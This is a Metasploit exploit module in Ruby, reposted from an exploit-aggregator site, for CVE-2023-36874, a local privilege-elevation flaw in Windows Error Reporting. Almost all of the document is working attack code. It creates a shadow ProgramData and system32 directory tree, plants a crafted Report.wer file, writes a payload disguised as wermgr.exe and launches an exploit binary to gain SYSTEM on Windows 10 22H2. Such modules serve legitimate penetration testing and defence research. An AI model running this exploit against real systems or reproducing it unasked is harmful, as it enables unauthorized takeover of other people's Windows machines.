Share
## https://sploitus.com/exploit?id=PACKETSTORM:174843
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Post::Common  
include Msf::Post::File  
include Msf::Exploit::FileDropper  
include Msf::Post::Windows::Priv  
include Msf::Exploit::EXE  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft Error Reporting Local Privilege Elevation Vulnerability',  
'Description' => %q{  
This module takes advantage of a bug in the way Windows error reporting opens the report  
parser. If you open a report, Windows uses a relative path to locate the rendering program.  
By creating a specific alternate directory structure, we can coerce Windows into opening an  
arbitrary executable as SYSTEM.  
If the current user is a local admin, the system will attempt impersonation and the exploit will  
fail.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Filip Dragović (Wh04m1001)', # PoC  
'Octoberfest7', # PoC  
'bwatters-r7' # msf module  
],  
'Platform' => ['win'],  
'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ],  
'Targets' => [  
[ 'Automatic', { 'Arch' => [ ARCH_X64 ] } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => '2023-07-11',  
'References' => [  
['CVE', '2023-36874'],  
['URL', 'https://www.crowdstrike.com/blog/falcon-complete-zero-day-exploit-cve-2023-36874/'],  
['URL', 'https://github.com/Wh04m1001/CVE-2023-36874'],  
['URL', 'https://github.com/Octoberfest7/CVE-2023-36874_BOF']  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ ARTIFACTS_ON_DISK ]  
},  
'Compat' => {  
'Meterpreter' => {  
'Commands' => %w[  
stdapi_fs_delete_file  
stdapi_sys_config_getenv  
]  
}  
}  
)  
)  
  
register_options([  
OptString.new('EXPLOIT_NAME',  
[true, 'The filename to use for the exploit binary (%RAND%.exe by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),  
OptString.new('REPORT_DIR',  
[true, 'The Error Directory to use (%RAND% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),  
OptString.new('SHADOW_DRIVE',  
[true, 'Directory to place in the home drive for pivot (%TEMP% by default).', Rex::Text.rand_text_alpha(6..14).to_s]),  
OptInt.new('EXECUTE_DELAY',  
[true, 'The number of seconds to delay between file upload and exploit launch', 3])  
])  
end  
  
# When we pass the directory value to the mkdir method, the mkdir method  
# passes the reference to the string containing the directory.  
# We do a lot of string manipulation in this module, so this is a quick  
# hack to make sure that despite what we do with the string after we create  
# the directory, it is the actual directory we created that gets sent to  
# the cleanup methods.  
def clone_mkdir(dir)  
mkdir(dir.clone)  
end  
  
def upload_error_report  
wer_archive_dir = get_env('PROGRAMDATA')  
vprint_status(wer_archive_dir)  
wer_archive_dir << '\\Microsoft\\Windows\\WER\\ReportArchive'  
report_dir = "#{wer_archive_dir}\\#{datastore['REPORT_DIR']}"  
report_filename = "#{report_dir}\\Report.wer"  
vprint_status("Creating #{report_dir}")  
clone_mkdir(report_dir)  
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')  
vprint_status("Writing Report to #{report_filename}")  
write_file(report_filename, wer_report_data)  
end  
  
def build_shadow_archive_dir(shadow_base_dir)  
wer_archive_dir = shadow_base_dir  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << '\\ProgramData\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'Microsoft\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'Windows\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'WER\\'  
clone_mkdir(wer_archive_dir)  
wer_archive_dir << 'ReportArchive\\'  
clone_mkdir(wer_archive_dir)  
report_dir = "#{wer_archive_dir}#{datastore['REPORT_DIR']}"  
clone_mkdir(report_dir)  
return report_dir  
end  
  
def upload_shadow_report(shadow_archive_dir)  
report_filename = "#{shadow_archive_dir}\\Report.wer"  
wer_report_data = exploit_data('CVE-2023-36874', 'Report.wer')  
vprint_status("Writing bad Report to #{report_filename}")  
write_file(report_filename, wer_report_data)  
end  
  
def build_shadow_system32(shadow_base_dir)  
shadow_win32 = "#{shadow_base_dir}\\system32"  
vprint_status("Creating #{shadow_win32}")  
clone_mkdir(shadow_win32)  
return shadow_win32  
end  
  
def upload_payload(shadow_win32)  
payload_bin = generate_payload_exe  
payload_filename = "#{shadow_win32}\\wermgr.exe"  
vprint_status("Writing payload to #{payload_filename}")  
write_file(payload_filename, payload_bin)  
end  
  
def upload_execute_exploit(exploit_path, shadow_path, home_dir)  
vprint_status("shadow_path = #{shadow_path}")  
exploit_bin = exploit_data('CVE-2023-36874', 'CVE-2023-36874.exe')  
write_file(exploit_path, exploit_bin)  
sleep datastore['EXECUTE_DELAY']  
vprint_status("Exploit uploaded to #{exploit_path}")  
cmd = "#{exploit_path} #{shadow_path} #{home_dir} #{datastore['REPORT_DIR']}"  
output = cmd_exec(cmd, nil, 30)  
vprint_status(output)  
end  
  
def check  
# This only appears to work on 22H2, but likely will work elsewhere if we figure out the function pointers.  
version = get_version_info  
vprint_status("OS version: #{version}")  
return Exploit::CheckCode::Appears if version.build_number == Msf::WindowsVersion::Win10_22H2  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
fail_with(Module::Failure::BadConfig, 'User cannot be local admin') if is_in_admin_group?  
fail_with(Module::Failure::BadConfig, 'Already SYSTEM') if is_system?  
shadow_dir = datastore['SHADOW_DRIVE']  
home_dir = get_env('HOMEDRIVE')  
shadow_path = "#{home_dir}\\#{shadow_dir}"  
vprint_status("Shadow Path = #{shadow_path}")  
upload_error_report  
shadow_archive_dir = build_shadow_archive_dir(shadow_path.dup)  
upload_shadow_report(shadow_archive_dir)  
shadow_system32 = build_shadow_system32(shadow_path.dup)  
upload_payload(shadow_system32)  
sleep datastore['EXECUTE_DELAY']  
exploit_path = "#{shadow_path}\\#{datastore['EXPLOIT_NAME']}"  
exploit_path << '.exe' unless exploit_path[-4..] == '.exe'  
if shadow_dir.length > 64  
fail_with(Module::Failure::BadConfig, 'REPORT_DIR value too long')  
end  
upload_execute_exploit(exploit_path, shadow_dir, home_dir)  
print_warning("Manual deletion of #{shadow_path} may be required")  
end  
end